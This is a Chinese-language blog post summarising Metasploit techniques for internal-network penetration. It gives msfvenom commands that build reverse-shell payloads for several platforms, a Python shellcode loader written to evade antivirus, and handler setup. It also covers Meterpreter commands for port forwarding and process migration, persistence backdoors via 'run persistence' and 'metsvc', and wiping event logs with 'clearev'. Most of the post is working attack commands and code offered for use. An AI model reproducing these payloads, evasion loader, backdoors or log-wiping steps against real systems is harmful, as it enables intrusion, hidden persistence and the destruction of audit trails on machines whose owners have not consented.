Web

Metasploit

内网代理的个人总结.

Posted by Rootclay on 2017-08-07

总结需要用到的msf技巧

MSF内网渗透

流程

  1. 生成Payload:

    1. 生成Python
      msfvenom -p windows/meterpreter/reverse_http LPORT=443 LHOST=IP -e x86/shikata_ga_nai -i 11 -f py -o ~/clay.py
    2. 生成Exe
      msfvenom -p windows/x64/meterpreter_reverse_tcp -e -i 3 LHOST=172.22.25.51 LPORT=23333 -f exe -o ~/Desktop/shell.exe
    3. 生成java payload
      msfvenom -p java/meterpreter/reverse_tcp LHOST=10.42.0.1 LPORT=23333 -o ~/Desktop/123.jar
    4. 生成php payload
      msfvenom -p php/meterpreter_reverse_tcp LHOST=10.42.0.1 LPORT=23333 -o ~/Desktop/123.php
    5. 生成Linux payload
      msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.42.0.1 LPORT=23333 -f elf -o ~/Desktop/123.elf
    6. 生成Android的payload
      msfvenom -p android/meterpreter/reverse_tcp LHOST=10.42.0.1 LPORT=23333 -o ~/Desktop/1234.apk
    7. 生成c的payload
      msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.50.185 -f c > /root/Desktop/payload.txt
  2. 免杀Payload

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    from ctypes import *
    import ctypes
    /*
    code
    */
    #libc = CDLL('libc.so.6')
    PROT_READ = 1
    PROT_WRITE = 2
    PROT_EXEC = 4
    def executable_code(buffer):
    buf = c_char_p(buffer)
    size = len(buffer)
    addr = libc.valloc(size)
    addr = c_void_p(addr)
    if 0 == addr:
    raise Exception("Failed to allocate memory")
    memmove(addr, buf, size)
    if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):
    raise Exception("Failed to set protection on buffer")
    return addr
    VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
    VirtualProtect = ctypes.windll.kernel32.VirtualProtect
    shellcode = bytearray(buf)
    whnd = ctypes.windll.kernel32.GetConsoleWindow()
    if whnd != 0:
    if 666==666:
    ctypes.windll.user32.ShowWindow(whnd, 0)
    ctypes.windll.kernel32.CloseHandle(whnd)
    print ".................................."*666
    memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
    ctypes.c_int(len(shellcode)),
    ctypes.c_int(0x3000),
    ctypes.c_int(0x40))
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    old = ctypes.c_long(1)
    VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),
    buf,
    ctypes.c_int(len(shellcode)))
    shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
    print "Code By Root"
    shell()

    python PyInstaller.py --console --onefile clay.py

  3. 监听

    1
    2
    3
    4
    5
    6
    7
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_http
    set LPORT 443
    set LHOST 0.0.0.0
    exploit
    msfconsole -r command

Meterpreter的常用命令

  1. 基本命令

    1
    2
    3
    4
    5
    6
    7
    8
    9
    background # 让meterpreter处于后台模式
    sessions -i index # 与会话进行交互,index表示第一个session
    quit # 退出会话
    shell # 获得控制台权限
    irb # 开启ruby终端
  2. 文件系统命令

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    cat # 查看文件内容
    getwd # 查看当前工作目录
    upload # 上传文件到目标机上
    download # 下载文件到本机上
    edit # 编辑文件
    search # 搜索文件
  3. 网络命令

    1
    2
    3
    4
    5
    6
    7
    ipconfig / ifconfig # 查看网络接口信息
    portfwd add -l 4444 -p 3389 -r 192.168.1.102 # 端口转发,本机监听4444,把目标机3389转到本机4444
    rdesktop -u Administrator -p ichunqiu 127.0.0.1:4444 #然后使用rdesktop来连接,-u 用户名 -p 密码
    route # 获取路由表信息
  1. 系统命令

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    ps # 查看当前活跃进程
    migrate pid # 将Meterpreter会话移植到进程数位pid的进程中
    execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互
    getpid # 获取当前进程的pid
    kill pid # 杀死进程
    getuid # 查看权限
    sysinfo # 查看目标机系统信息,如机器名,操作系统等
    shutdown # 关机

植入后门

persistence

1
2
Meterpreter > run persistence -X -i 5 -p 443 -r ip
-X 开机启动 -i 连接间隔

metsvc

1
Meterpreter > run metsvc

清理痕迹

1
2
3
4
meterpreter > clearev
[*] Wiping 12348 records from Application...
[*] Wiping 1345 records from System...
[*] Wiping 3 records from Security...

Shell

1
chcp 65001

Msfvenom

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
msfvenom命令行选项如下:
Options:
-p, --payload payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定
-l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled length> 为payload预先指定一个NOP滑动长度
-f, --format format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
-a, --arch architecture> 指定payload的目标架构
--platform platform> 指定payload的目标平台
-s, --space length> 设定有效攻击荷载的最大长度
-b, --bad-chars list> 设定规避字符集,比如: '\x00\xff'
-i, --iterations count> 指定payload的编码次数
-c, --add-code path> 指定一个附加的win32 shellcode文件
-x, --template path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out path> 保存payload
-v, --var-name name> 指定一个自定义的变量,以确定输出格式
--shellest 最小化生成payload
-h, --help 查看帮助选项
--help-formats 查看msf支持的输出格式列表

Payload option

1
2
3
4
5
6
7
8
msfvenom -p windows/meterpreter/bind_tcp --payload-options
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (accepted: seh, thread, process, none)
LPORT 4444 yes The listen port
RHOST no The target address